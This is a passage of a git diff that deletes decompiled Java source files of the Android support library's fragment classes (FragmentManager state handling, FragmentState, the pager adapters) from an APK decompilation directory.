&& (i2 & 1) == 0) { - int size2 = arrayList.size() - 1; - if (size2 < 0) { - return false; - } - BackStackRecord remove = this.mBackStack.remove(size2); - SparseArray sparseArray = new SparseArray<>(); - SparseArray sparseArray2 = new SparseArray<>(); - if (this.mCurState >= 1) { - remove.calculateBackFragments(sparseArray, sparseArray2); - } - remove.popFromBackStack(true, null, sparseArray, sparseArray2); - reportBackStackChanged(); - } else { - if (str != null || i >= 0) { - size = arrayList.size() - 1; - while (size >= 0) { - BackStackRecord backStackRecord = this.mBackStack.get(size); - if ((str != null && str.equals(backStackRecord.getName())) || (i >= 0 && i == backStackRecord.mIndex)) { - break; - } - size--; - } - if (size < 0) { - return false; - } - if ((i2 & 1) != 0) { - while (true) { - size--; - if (size < 0) { - break; - } - BackStackRecord backStackRecord2 = this.mBackStack.get(size); - if (str == null || !str.equals(backStackRecord2.getName())) { - if (i < 0 || i != backStackRecord2.mIndex) { - break; - } - } - } - } - } else { - size = -1; - } - if (size == this.mBackStack.size() - 1) { - return false; - } - ArrayList arrayList2 = new ArrayList(); - for (int size3 = this.mBackStack.size() - 1; size3 > size; size3--) { - arrayList2.add(this.mBackStack.remove(size3)); - } - int size4 = arrayList2.size() - 1; - SparseArray sparseArray3 = new SparseArray<>(); - SparseArray sparseArray4 = new SparseArray<>(); - if (this.mCurState >= 1) { - for (int i3 = 0; i3 <= size4; i3++) { - ((BackStackRecord) arrayList2.get(i3)).calculateBackFragments(sparseArray3, sparseArray4); - } - } - int i4 = 0; - while (i4 <= size4) { - if (DEBUG) { - Log.v(TAG, "Popping back stack state: " + arrayList2.get(i4)); - } - transitionState = ((BackStackRecord) arrayList2.get(i4)).popFromBackStack(i4 == size4, transitionState, sparseArray3, sparseArray4); - i4++; - } - reportBackStackChanged(); - } - return true; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public FragmentManagerNonConfig retainNonConfig() { - ArrayList arrayList; - ArrayList arrayList2; - FragmentManagerNonConfig retainNonConfig; - if (this.mActive != null) { - arrayList = null; - arrayList2 = null; - for (int i = 0; i < this.mActive.size(); i++) { - Fragment fragment = this.mActive.get(i); - if (fragment != null) { - boolean z = true; - if (fragment.mRetainInstance) { - if (arrayList == null) { - arrayList = new ArrayList(); - } - arrayList.add(fragment); - fragment.mRetaining = true; - fragment.mTargetIndex = fragment.mTarget != null ? fragment.mTarget.mIndex : -1; - if (DEBUG) { - Log.v(TAG, "retainNonConfig: keeping retained " + fragment); - } - } - if (fragment.mChildFragmentManager == null || (retainNonConfig = fragment.mChildFragmentManager.retainNonConfig()) == null) { - z = false; - } else { - if (arrayList2 == null) { - arrayList2 = new ArrayList(); - for (int i2 = 0; i2 < i; i2++) { - arrayList2.add(null); - } - } - arrayList2.add(retainNonConfig); - } - if (arrayList2 != null && !z) { - arrayList2.add(null); - } - } - } - } else { - arrayList = null; - arrayList2 = null; - } - if (arrayList == null && arrayList2 == null) { - return null; - } - return new FragmentManagerNonConfig(arrayList, arrayList2); - } - - void saveFragmentViewState(Fragment fragment) { - if (fragment.mInnerView == null) { - return; - } - SparseArray sparseArray = this.mStateArray; - if (sparseArray == null) { - this.mStateArray = new SparseArray<>(); - } else { - sparseArray.clear(); - } - fragment.mInnerView.saveHierarchyState(this.mStateArray); - if (this.mStateArray.size() > 0) { - fragment.mSavedViewState = this.mStateArray; - this.mStateArray = null; - } - } - - Bundle saveFragmentBasicState(Fragment fragment) { - if (this.mStateBundle == null) { - this.mStateBundle = new Bundle(); - } - fragment.performSaveInstanceState(this.mStateBundle); - Bundle bundle = null; - if (!this.mStateBundle.isEmpty()) { - Bundle bundle2 = this.mStateBundle; - this.mStateBundle = null; - bundle = bundle2; - } - if (fragment.mView != null) { - saveFragmentViewState(fragment); - } - if (fragment.mSavedViewState != null) { - if (bundle == null) { - bundle = new Bundle(); - } - bundle.putSparseParcelableArray(VIEW_STATE_TAG, fragment.mSavedViewState); - } - if (!fragment.mUserVisibleHint) { - if (bundle == null) { - bundle = new Bundle(); - } - bundle.putBoolean(USER_VISIBLE_HINT_TAG, fragment.mUserVisibleHint); - } - return bundle; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public Parcelable saveAllState() { - int[] iArr; - int size; - int size2; - execPendingActions(); - if (HONEYCOMB) { - this.mStateSaved = true; - } - ArrayList arrayList = this.mActive; - BackStackState[] backStackStateArr = null; - if (arrayList == null || arrayList.size() <= 0) { - return null; - } - int size3 = this.mActive.size(); - FragmentState[] fragmentStateArr = new FragmentState[size3]; - boolean z = false; - for (int i = 0; i < size3; i++) { - Fragment fragment = this.mActive.get(i); - if (fragment != null) { - if (fragment.mIndex < 0) { - throwException(new IllegalStateException("Failure saving state: active " + fragment + " has cleared index: " + fragment.mIndex)); - } - FragmentState fragmentState = new FragmentState(fragment); - fragmentStateArr[i] = fragmentState; - if (fragment.mState > 0 && fragmentState.mSavedFragmentState == null) { - fragmentState.mSavedFragmentState = saveFragmentBasicState(fragment); - if (fragment.mTarget != null) { - if (fragment.mTarget.mIndex < 0) { - throwException(new IllegalStateException("Failure saving state: " + fragment + " has target not in fragment manager: " + fragment.mTarget)); - } - if (fragmentState.mSavedFragmentState == null) { - fragmentState.mSavedFragmentState = new Bundle(); - } - putFragment(fragmentState.mSavedFragmentState, TARGET_STATE_TAG, fragment.mTarget); - if (fragment.mTargetRequestCode != 0) { - fragmentState.mSavedFragmentState.putInt(TARGET_REQUEST_CODE_STATE_TAG, fragment.mTargetRequestCode); - } - } - } else { - fragmentState.mSavedFragmentState = fragment.mSavedFragmentState; - } - if (DEBUG) { - Log.v(TAG, "Saved state of " + fragment + ": " + fragmentState.mSavedFragmentState); - } - z = true; - } - } - if (!z) { - if (DEBUG) { - Log.v(TAG, "saveAllState: no fragments!"); - } - return null; - } - ArrayList arrayList2 = this.mAdded; - if (arrayList2 == null || (size2 = arrayList2.size()) <= 0) { - iArr = null; - } else { - iArr = new int[size2]; - for (int i2 = 0; i2 < size2; i2++) { - int i3 = this.mAdded.get(i2).mIndex; - iArr[i2] = i3; - if (i3 < 0) { - throwException(new IllegalStateException("Failure saving state: active " + this.mAdded.get(i2) + " has cleared index: " + iArr[i2])); - } - if (DEBUG) { - Log.v(TAG, "saveAllState: adding fragment #" + i2 + ": " + this.mAdded.get(i2)); - } - } - } - ArrayList arrayList3 = this.mBackStack; - if (arrayList3 != null && (size = arrayList3.size()) > 0) { - backStackStateArr = new BackStackState[size]; - for (int i4 = 0; i4 < size; i4++) { - backStackStateArr[i4] = new BackStackState(this.mBackStack.get(i4)); - if (DEBUG) { - Log.v(TAG, "saveAllState: adding back stack #" + i4 + ": " + this.mBackStack.get(i4)); - } - } - } - FragmentManagerState fragmentManagerState = new FragmentManagerState(); - fragmentManagerState.mActive = fragmentStateArr; - fragmentManagerState.mAdded = iArr; - fragmentManagerState.mBackStack = backStackStateArr; - return fragmentManagerState; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public void restoreAllState(Parcelable parcelable, FragmentManagerNonConfig fragmentManagerNonConfig) { - List list; - if (parcelable == null) { - return; - } - FragmentManagerState fragmentManagerState = (FragmentManagerState) parcelable; - if (fragmentManagerState.mActive == null) { - return; - } - if (fragmentManagerNonConfig != null) { - List fragments = fragmentManagerNonConfig.getFragments(); - list = fragmentManagerNonConfig.getChildNonConfigs(); - int size = fragments != null ? fragments.size() : 0; - for (int i = 0; i < size; i++) { - Fragment fragment = fragments.get(i); - if (DEBUG) { - Log.v(TAG, "restoreAllState: re-attaching retained " + fragment); - } - FragmentState fragmentState = fragmentManagerState.mActive[fragment.mIndex]; - fragmentState.mInstance = fragment; - fragment.mSavedViewState = null; - fragment.mBackStackNesting = 0; - fragment.mInLayout = false; - fragment.mAdded = false; - fragment.mTarget = null; - if (fragmentState.mSavedFragmentState != null) { - fragmentState.mSavedFragmentState.setClassLoader(this.mHost.getContext().getClassLoader()); - fragment.mSavedViewState = fragmentState.mSavedFragmentState.getSparseParcelableArray(VIEW_STATE_TAG); - fragment.mSavedFragmentState = fragmentState.mSavedFragmentState; - } - } - } else { - list = null; - } - this.mActive = new ArrayList<>(fragmentManagerState.mActive.length); - ArrayList arrayList = this.mAvailIndices; - if (arrayList != null) { - arrayList.clear(); - } - int i2 = 0; - while (i2 < fragmentManagerState.mActive.length) { - FragmentState fragmentState2 = fragmentManagerState.mActive[i2]; - if (fragmentState2 != null) { - Fragment instantiate = fragmentState2.instantiate(this.mHost, this.mParent, (list == null || i2 >= list.size()) ? null : list.get(i2)); - if (DEBUG) { - Log.v(TAG, "restoreAllState: active #" + i2 + ": " + instantiate); - } - this.mActive.add(instantiate); - fragmentState2.mInstance = null; - } else { - this.mActive.add(null); - if (this.mAvailIndices == null) { - this.mAvailIndices = new ArrayList<>(); - } - if (DEBUG) { - Log.v(TAG, "restoreAllState: avail #" + i2); - } - this.mAvailIndices.add(Integer.valueOf(i2)); - } - i2++; - } - if (fragmentManagerNonConfig != null) { - List fragments2 = fragmentManagerNonConfig.getFragments(); - int size2 = fragments2 != null ? fragments2.size() : 0; - for (int i3 = 0; i3 < size2; i3++) { - Fragment fragment2 = fragments2.get(i3); - if (fragment2.mTargetIndex >= 0) { - if (fragment2.mTargetIndex >= this.mActive.size()) { - Log.w(TAG, "Re-attaching retained fragment " + fragment2 + " target no longer exists: " + fragment2.mTargetIndex); - fragment2.mTarget = null; - } else { - fragment2.mTarget = this.mActive.get(fragment2.mTargetIndex); - } - } - } - } - if (fragmentManagerState.mAdded != null) { - this.mAdded = new ArrayList<>(fragmentManagerState.mAdded.length); - for (int i4 = 0; i4 < fragmentManagerState.mAdded.length; i4++) { - Fragment fragment3 = this.mActive.get(fragmentManagerState.mAdded[i4]); - if (fragment3 == null) { - throwException(new IllegalStateException("No instantiated fragment for index #" + fragmentManagerState.mAdded[i4])); - } - fragment3.mAdded = true; - if (DEBUG) { - Log.v(TAG, "restoreAllState: added #" + i4 + ": " + fragment3); - } - if (this.mAdded.contains(fragment3)) { - throw new IllegalStateException("Already added!"); - } - this.mAdded.add(fragment3); - } - } else { - this.mAdded = null; - } - if (fragmentManagerState.mBackStack != null) { - this.mBackStack = new ArrayList<>(fragmentManagerState.mBackStack.length); - for (int i5 = 0; i5 < fragmentManagerState.mBackStack.length; i5++) { - BackStackRecord instantiate2 = fragmentManagerState.mBackStack[i5].instantiate(this); - if (DEBUG) { - Log.v(TAG, "restoreAllState: back stack #" + i5 + " (index " + instantiate2.mIndex + "): " + instantiate2); - instantiate2.dump(" ", new PrintWriter(new LogWriter(TAG)), false); - } - this.mBackStack.add(instantiate2); - if (instantiate2.mIndex >= 0) { - setBackStackIndex(instantiate2.mIndex, instantiate2); - } - } - return; - } - this.mBackStack = null; - } - - public void attachController(FragmentHostCallback fragmentHostCallback, FragmentContainer fragmentContainer, Fragment fragment) { - if (this.mHost != null) { - throw new IllegalStateException("Already attached"); - } - this.mHost = fragmentHostCallback; - this.mContainer = fragmentContainer; - this.mParent = fragment; - } - - public void noteStateNotSaved() { - this.mStateSaved = false; - } - - public void dispatchCreate() { - this.mStateSaved = false; - moveToState(1, false); - } - - public void dispatchActivityCreated() { - this.mStateSaved = false; - moveToState(2, false); - } - - public void dispatchStart() { - this.mStateSaved = false; - moveToState(4, false); - } - - public void dispatchResume() { - this.mStateSaved = false; - moveToState(5, false); - } - - public void dispatchPause() { - moveToState(4, false); - } - - public void dispatchStop() { - this.mStateSaved = true; - moveToState(3, false); - } - - public void dispatchReallyStop() { - moveToState(2, false); - } - - public void dispatchDestroyView() { - moveToState(1, false); - } - - public void dispatchDestroy() { - this.mDestroyed = true; - execPendingActions(); - moveToState(0, false); - this.mHost = null; - this.mContainer = null; - this.mParent = null; - } - - public void dispatchMultiWindowModeChanged(boolean z) { - ArrayList arrayList = this.mAdded; - if (arrayList == null) { - return; - } - for (int size = arrayList.size() - 1; size >= 0; size--) { - Fragment fragment = this.mAdded.get(size); - if (fragment != null) { - fragment.performMultiWindowModeChanged(z); - } - } - } - - public void dispatchPictureInPictureModeChanged(boolean z) { - ArrayList arrayList = this.mAdded; - if (arrayList == null) { - return; - } - for (int size = arrayList.size() - 1; size >= 0; size--) { - Fragment fragment = this.mAdded.get(size); - if (fragment != null) { - fragment.performPictureInPictureModeChanged(z); - } - } - } - - public void dispatchConfigurationChanged(Configuration configuration) { - if (this.mAdded != null) { - for (int i = 0; i < this.mAdded.size(); i++) { - Fragment fragment = this.mAdded.get(i); - if (fragment != null) { - fragment.performConfigurationChanged(configuration); - } - } - } - } - - public void dispatchLowMemory() { - if (this.mAdded != null) { - for (int i = 0; i < this.mAdded.size(); i++) { - Fragment fragment = this.mAdded.get(i); - if (fragment != null) { - fragment.performLowMemory(); - } - } - } - } - - public boolean dispatchCreateOptionsMenu(Menu menu, MenuInflater menuInflater) { - boolean z; - ArrayList arrayList = null; - if (this.mAdded != null) { - z = false; - for (int i = 0; i < this.mAdded.size(); i++) { - Fragment fragment = this.mAdded.get(i); - if (fragment != null && fragment.performCreateOptionsMenu(menu, menuInflater)) { - if (arrayList == null) { - arrayList = new ArrayList<>(); - } - arrayList.add(fragment); - z = true; - } - } - } else { - z = false; - } - if (this.mCreatedMenus != null) { - for (int i2 = 0; i2 < this.mCreatedMenus.size(); i2++) { - Fragment fragment2 = this.mCreatedMenus.get(i2); - if (arrayList == null || !arrayList.contains(fragment2)) { - fragment2.onDestroyOptionsMenu(); - } - } - } - this.mCreatedMenus = arrayList; - return z; - } - - public boolean dispatchPrepareOptionsMenu(Menu menu) { - if (this.mAdded != null) { - boolean z = false; - for (int i = 0; i < this.mAdded.size(); i++) { - Fragment fragment = this.mAdded.get(i); - if (fragment != null && fragment.performPrepareOptionsMenu(menu)) { - z = true; - } - } - return z; - } - return false; - } - - public boolean dispatchOptionsItemSelected(MenuItem menuItem) { - if (this.mAdded != null) { - for (int i = 0; i < this.mAdded.size(); i++) { - Fragment fragment = this.mAdded.get(i); - if (fragment != null && fragment.performOptionsItemSelected(menuItem)) { - return true; - } - } - } - return false; - } - - public boolean dispatchContextItemSelected(MenuItem menuItem) { - if (this.mAdded != null) { - for (int i = 0; i < this.mAdded.size(); i++) { - Fragment fragment = this.mAdded.get(i); - if (fragment != null && fragment.performContextItemSelected(menuItem)) { - return true; - } - } - } - return false; - } - - public void dispatchOptionsMenuClosed(Menu menu) { - if (this.mAdded != null) { - for (int i = 0; i < this.mAdded.size(); i++) { - Fragment fragment = this.mAdded.get(i); - if (fragment != null) { - fragment.performOptionsMenuClosed(menu); - } - } - } - } - - @Override // android.support.v4.view.LayoutInflaterFactory - public View onCreateView(View view, String str, Context context, AttributeSet attributeSet) { - if ("fragment".equals(str)) { - String attributeValue = attributeSet.getAttributeValue(null, "class"); - TypedArray obtainStyledAttributes = context.obtainStyledAttributes(attributeSet, FragmentTag.Fragment); - if (attributeValue == null) { - attributeValue = obtainStyledAttributes.getString(0); - } - String str2 = attributeValue; - int resourceId = obtainStyledAttributes.getResourceId(1, -1); - String string = obtainStyledAttributes.getString(2); - obtainStyledAttributes.recycle(); - if (Fragment.isSupportFragmentClass(this.mHost.getContext(), str2)) { - int id = view != null ? view.getId() : 0; - if (id == -1 && resourceId == -1 && string == null) { - throw new IllegalArgumentException(attributeSet.getPositionDescription() + ": Must specify unique android:id, android:tag, or have a parent with an id for " + str2); - } - Fragment findFragmentById = resourceId != -1 ? findFragmentById(resourceId) : null; - if (findFragmentById == null && string != null) { - findFragmentById = findFragmentByTag(string); - } - if (findFragmentById == null && id != -1) { - findFragmentById = findFragmentById(id); - } - if (DEBUG) { - Log.v(TAG, "onCreateView: id=0x" + Integer.toHexString(resourceId) + " fname=" + str2 + " existing=" + findFragmentById); - } - if (findFragmentById == null) { - findFragmentById = Fragment.instantiate(context, str2); - findFragmentById.mFromLayout = true; - findFragmentById.mFragmentId = resourceId != 0 ? resourceId : id; - findFragmentById.mContainerId = id; - findFragmentById.mTag = string; - findFragmentById.mInLayout = true; - findFragmentById.mFragmentManager = this; - findFragmentById.mHost = this.mHost; - findFragmentById.onInflate(this.mHost.getContext(), attributeSet, findFragmentById.mSavedFragmentState); - addFragment(findFragmentById, true); - } else if (findFragmentById.mInLayout) { - throw new IllegalArgumentException(attributeSet.getPositionDescription() + ": Duplicate id 0x" + Integer.toHexString(resourceId) + ", tag " + string + ", or parent id 0x" + Integer.toHexString(id) + " with another fragment for " + str2); - } else { - findFragmentById.mInLayout = true; - findFragmentById.mHost = this.mHost; - if (!findFragmentById.mRetaining) { - findFragmentById.onInflate(this.mHost.getContext(), attributeSet, findFragmentById.mSavedFragmentState); - } - } - Fragment fragment = findFragmentById; - if (this.mCurState < 1 && fragment.mFromLayout) { - moveToState(fragment, 1, 0, 0, false); - } else { - moveToState(fragment); - } - if (fragment.mView == null) { - throw new IllegalStateException("Fragment " + str2 + " did not create a view."); - } - if (resourceId != 0) { - fragment.mView.setId(resourceId); - } - if (fragment.mView.getTag() == null) { - fragment.mView.setTag(string); - } - return fragment.mView; - } - return null; - } - return null; - } - - /* compiled from: FragmentManager.java */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class FragmentTag { - public static final int[] Fragment = {16842755, 16842960, 16842961}; - public static final int Fragment_id = 1; - public static final int Fragment_name = 0; - public static final int Fragment_tag = 2; - - FragmentTag() { - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentManagerNonConfig.java b/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentManagerNonConfig.java deleted file mode 100644 index 15bbb66..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentManagerNonConfig.java +++ /dev/null @@ -1,24 +0,0 @@ -package android.support.v4.app; - -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class FragmentManagerNonConfig { - private final List mChildNonConfigs; - private final List mFragments; - - /* JADX INFO: Access modifiers changed from: package-private */ - public FragmentManagerNonConfig(List list, List list2) { - this.mFragments = list; - this.mChildNonConfigs = list2; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public List getFragments() { - return this.mFragments; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public List getChildNonConfigs() { - return this.mChildNonConfigs; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentManagerState.java b/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentManagerState.java deleted file mode 100644 index 4d2bdc7..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentManagerState.java +++ /dev/null @@ -1,46 +0,0 @@ -package android.support.v4.app; - -import android.os.Parcel; -import android.os.Parcelable; -/* JADX INFO: Access modifiers changed from: package-private */ -/* compiled from: FragmentManager.java */ -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class FragmentManagerState implements Parcelable { - public static final Parcelable.Creator CREATOR = new Parcelable.Creator() { // from class: android.support.v4.app.FragmentManagerState.1 - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public FragmentManagerState createFromParcel(Parcel parcel) { - return new FragmentManagerState(parcel); - } - - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public FragmentManagerState[] newArray(int i) { - return new FragmentManagerState[i]; - } - }; - FragmentState[] mActive; - int[] mAdded; - BackStackState[] mBackStack; - - @Override // android.os.Parcelable - public int describeContents() { - return 0; - } - - public FragmentManagerState() { - } - - public FragmentManagerState(Parcel parcel) { - this.mActive = (FragmentState[]) parcel.createTypedArray(FragmentState.CREATOR); - this.mAdded = parcel.createIntArray(); - this.mBackStack = (BackStackState[]) parcel.createTypedArray(BackStackState.CREATOR); - } - - @Override // android.os.Parcelable - public void writeToParcel(Parcel parcel, int i) { - parcel.writeTypedArray(this.mActive, i); - parcel.writeIntArray(this.mAdded); - parcel.writeTypedArray(this.mBackStack, i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentPagerAdapter.java b/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentPagerAdapter.java deleted file mode 100644 index 29161fb..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentPagerAdapter.java +++ /dev/null @@ -1,103 +0,0 @@ -package android.support.v4.app; - -import android.os.Parcelable; -import android.support.v4.view.PagerAdapter; -import android.view.View; -import android.view.ViewGroup; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class FragmentPagerAdapter extends PagerAdapter { - private static final boolean DEBUG = false; - private static final String TAG = "FragmentPagerAdapter"; - private FragmentTransaction mCurTransaction = null; - private Fragment mCurrentPrimaryItem = null; - private final FragmentManager mFragmentManager; - - public abstract Fragment getItem(int i); - - public long getItemId(int i) { - return i; - } - - @Override // android.support.v4.view.PagerAdapter - public void restoreState(Parcelable parcelable, ClassLoader classLoader) { - } - - @Override // android.support.v4.view.PagerAdapter - public Parcelable saveState() { - return null; - } - - public FragmentPagerAdapter(FragmentManager fragmentManager) { - this.mFragmentManager = fragmentManager; - } - - @Override // android.support.v4.view.PagerAdapter - public void startUpdate(ViewGroup viewGroup) { - if (viewGroup.getId() == -1) { - throw new IllegalStateException("ViewPager with adapter " + this + " requires a view id"); - } - } - - @Override // android.support.v4.view.PagerAdapter - public Object instantiateItem(ViewGroup viewGroup, int i) { - if (this.mCurTransaction == null) { - this.mCurTransaction = this.mFragmentManager.beginTransaction(); - } - long itemId = getItemId(i); - Fragment findFragmentByTag = this.mFragmentManager.findFragmentByTag(makeFragmentName(viewGroup.getId(), itemId)); - if (findFragmentByTag != null) { - this.mCurTransaction.attach(findFragmentByTag); - } else { - findFragmentByTag = getItem(i); - this.mCurTransaction.add(viewGroup.getId(), findFragmentByTag, makeFragmentName(viewGroup.getId(), itemId)); - } - if (findFragmentByTag != this.mCurrentPrimaryItem) { - findFragmentByTag.setMenuVisibility(false); - findFragmentByTag.setUserVisibleHint(false); - } - return findFragmentByTag; - } - - @Override // android.support.v4.view.PagerAdapter - public void destroyItem(ViewGroup viewGroup, int i, Object obj) { - if (this.mCurTransaction == null) { - this.mCurTransaction = this.mFragmentManager.beginTransaction(); - } - this.mCurTransaction.detach((Fragment) obj); - } - - @Override // android.support.v4.view.PagerAdapter - public void setPrimaryItem(ViewGroup viewGroup, int i, Object obj) { - Fragment fragment = (Fragment) obj; - Fragment fragment2 = this.mCurrentPrimaryItem; - if (fragment != fragment2) { - if (fragment2 != null) { - fragment2.setMenuVisibility(false); - this.mCurrentPrimaryItem.setUserVisibleHint(false); - } - if (fragment != null) { - fragment.setMenuVisibility(true); - fragment.setUserVisibleHint(true); - } - this.mCurrentPrimaryItem = fragment; - } - } - - @Override // android.support.v4.view.PagerAdapter - public void finishUpdate(ViewGroup viewGroup) { - FragmentTransaction fragmentTransaction = this.mCurTransaction; - if (fragmentTransaction != null) { - fragmentTransaction.commitNowAllowingStateLoss(); - this.mCurTransaction = null; - } - } - - @Override // android.support.v4.view.PagerAdapter - public boolean isViewFromObject(View view, Object obj) { - return ((Fragment) obj).getView() == view; - } - - private static String makeFragmentName(int i, long j) { - return "android:switcher:" + i + ":" + j; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentState.java b/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentState.java deleted file mode 100644 index d1f983a..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentState.java +++ /dev/null @@ -1,115 +0,0 @@ -package android.support.v4.app; - -import android.content.Context; -import android.os.Bundle; -import android.os.Parcel; -import android.os.Parcelable; -import android.util.Log; -/* JADX INFO: Access modifiers changed from: package-private */ -/* compiled from: Fragment.java */ -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class FragmentState implements Parcelable { - public static final Parcelable.Creator CREATOR = new Parcelable.Creator() { // from class: android.support.v4.app.FragmentState.1 - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public FragmentState createFromParcel(Parcel parcel) { - return new FragmentState(parcel); - } - - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public FragmentState[] newArray(int i) { - return new FragmentState[i]; - } - }; - final Bundle mArguments; - final String mClassName; - final int mContainerId; - final boolean mDetached; - final int mFragmentId; - final boolean mFromLayout; - final boolean mHidden; - final int mIndex; - Fragment mInstance; - final boolean mRetainInstance; - Bundle mSavedFragmentState; - final String mTag; - - @Override // android.os.Parcelable - public int describeContents() { - return 0; - } - - public FragmentState(Fragment fragment) { - this.mClassName = fragment.getClass().getName(); - this.mIndex = fragment.mIndex; - this.mFromLayout = fragment.mFromLayout; - this.mFragmentId = fragment.mFragmentId; - this.mContainerId = fragment.mContainerId; - this.mTag = fragment.mTag; - this.mRetainInstance = fragment.mRetainInstance; - this.mDetached = fragment.mDetached; - this.mArguments = fragment.mArguments; - this.mHidden = fragment.mHidden; - } - - public FragmentState(Parcel parcel) { - this.mClassName = parcel.readString(); - this.mIndex = parcel.readInt(); - this.mFromLayout = parcel.readInt() != 0; - this.mFragmentId = parcel.readInt(); - this.mContainerId = parcel.readInt(); - this.mTag = parcel.readString(); - this.mRetainInstance = parcel.readInt() != 0; - this.mDetached = parcel.readInt() != 0; - this.mArguments = parcel.readBundle(); - this.mHidden = parcel.readInt() != 0; - this.mSavedFragmentState = parcel.readBundle(); - } - - public Fragment instantiate(FragmentHostCallback fragmentHostCallback, Fragment fragment, FragmentManagerNonConfig fragmentManagerNonConfig) { - if (this.mInstance == null) { - Context context = fragmentHostCallback.getContext(); - Bundle bundle = this.mArguments; - if (bundle != null) { - bundle.setClassLoader(context.getClassLoader()); - } - this.mInstance = Fragment.instantiate(context, this.mClassName, this.mArguments); - Bundle bundle2 = this.mSavedFragmentState; - if (bundle2 != null) { - bundle2.setClassLoader(context.getClassLoader()); - this.mInstance.mSavedFragmentState = this.mSavedFragmentState; - } - this.mInstance.setIndex(this.mIndex, fragment); - this.mInstance.mFromLayout = this.mFromLayout; - this.mInstance.mRestored = true; - this.mInstance.mFragmentId = this.mFragmentId; - this.mInstance.mContainerId = this.mContainerId; - this.mInstance.mTag = this.mTag; - this.mInstance.mRetainInstance = this.mRetainInstance; - this.mInstance.mDetached = this.mDetached; - this.mInstance.mHidden = this.mHidden; - this.mInstance.mFragmentManager = fragmentHostCallback.mFragmentManager; - if (FragmentManagerImpl.DEBUG) { - Log.v("FragmentManager", "Instantiated fragment " + this.mInstance); - } - } - this.mInstance.mChildNonConfig = fragmentManagerNonConfig; - return this.mInstance; - } - - @Override // android.os.Parcelable - public void writeToParcel(Parcel parcel, int i) { - parcel.writeString(this.mClassName); - parcel.writeInt(this.mIndex); - parcel.writeInt(this.mFromLayout ? 1 : 0); - parcel.writeInt(this.mFragmentId); - parcel.writeInt(this.mContainerId); - parcel.writeString(this.mTag); - parcel.writeInt(this.mRetainInstance ? 1 : 0); - parcel.writeInt(this.mDetached ? 1 : 0); - parcel.writeBundle(this.mArguments); - parcel.writeInt(this.mHidden ? 1 : 0); - parcel.writeBundle(this.mSavedFragmentState); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentStatePagerAdapter.java b/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentStatePagerAdapter.java deleted file mode 100644 index dfdf615..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/FragmentStatePagerAdapter.java +++ /dev/null @@ -1,156 +0,0 @@ -package android.support.v4.app; - -import android.os.Bundle; -import android.os.Parcelable; -import android.support.v4.app.Fragment; -import android.support.v4.view.PagerAdapter; -import android.util.Log; -import android.view.View; -import android.view.ViewGroup; -import java.util.ArrayList; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class FragmentStatePagerAdapter extends PagerAdapter { - private static final boolean DEBUG = false; - private static final String TAG = "FragmentStatePagerAdapter"; - private final FragmentManager mFragmentManager; - private FragmentTransaction mCurTransaction = null; - private ArrayList mSavedState = new ArrayList<>(); - private ArrayList mFragments = new ArrayList<>(); - private Fragment mCurrentPrimaryItem = null; - - public abstract Fragment getItem(int i); - - public FragmentStatePagerAdapter(FragmentManager fragmentManager) { - this.mFragmentManager = fragmentManager; - } - - @Override // android.support.v4.view.PagerAdapter - public void startUpdate(ViewGroup viewGroup) { - if (viewGroup.getId() == -1) { - throw new IllegalStateException("ViewPager with adapter " + this + " requires a view id"); - } - } - - @Override // android.support.v4.view.PagerAdapter - public Object instantiateItem(ViewGroup viewGroup, int i) { - Fragment.SavedState savedState; - Fragment fragment; - if (this.mFragments.size() <= i || (fragment = this.mFragments.get(i)) == null) { - if (this.mCurTransaction == null) { - this.mCurTransaction = this.mFragmentManager.beginTransaction(); - } - Fragment item = getItem(i); - if (this.mSavedState.size() > i && (savedState = this.mSavedState.get(i)) != null) { - item.setInitialSavedState(savedState); - } - while (this.mFragments.size() <= i) { - this.mFragments.add(null); - } - item.setMenuVisibility(false); - item.setUserVisibleHint(false); - this.mFragments.set(i, item); - this.mCurTransaction.add(viewGroup.getId(), item); - return item; - } - return fragment; - } - - @Override // android.support.v4.view.PagerAdapter - public void destroyItem(ViewGroup viewGroup, int i, Object obj) { - Fragment fragment = (Fragment) obj; - if (this.mCurTransaction == null) { - this.mCurTransaction = this.mFragmentManager.beginTransaction(); - } - while (this.mSavedState.size() <= i) { - this.mSavedState.add(null); - } - this.mSavedState.set(i, fragment.isAdded() ? this.mFragmentManager.saveFragmentInstanceState(fragment) : null); - this.mFragments.set(i, null); - this.mCurTransaction.remove(fragment); - } - - @Override // android.support.v4.view.PagerAdapter - public void setPrimaryItem(ViewGroup viewGroup, int i, Object obj) { - Fragment fragment = (Fragment) obj; - Fragment fragment2 = this.mCurrentPrimaryItem; - if (fragment != fragment2) { - if (fragment2 != null) { - fragment2.setMenuVisibility(false); - this.mCurrentPrimaryItem.setUserVisibleHint(false); - } - if (fragment != null) { - 